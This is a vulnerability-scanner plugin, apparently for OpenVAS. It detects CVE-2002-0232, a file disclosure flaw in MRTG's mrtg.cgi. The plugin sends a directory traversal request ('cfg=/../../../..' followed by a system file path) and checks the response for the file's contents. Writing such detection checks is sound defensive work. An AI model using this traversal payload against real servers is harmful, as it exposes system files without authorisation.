MRTG mrtg.cgi File Disclosure

# SPDX-FileCopyrightText: 2002 Digital Defense Inc.
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11001");
  script_version("2023-07-07T05:05:26+0000");
  script_tag(name:"last_modification", value:"2023-07-07 05:05:26 +0000 (Fri, 07 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/4017");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2002-0232");
  script_name("MRTG mrtg.cgi File Disclosure");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2002 Digital Defense Inc.");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Block access to this CGI.");

  script_tag(name:"summary", value:"The mrtg.cgi script is part of the MRTG traffic
  visualization application. A vulnerability exists in this script which allows an
  attacker to view the first line of any file on the system.");

  script_tag(name:"solution_type", value:"Mitigation");

  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );

files = traversal_files();

foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  foreach file( keys( files ) ) {

    url = dir + "/mrtg.cgi?cfg=/../../../../../../../../../" + files[file];

    if( http_vuln_check( port:port, url:url, pattern:file ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );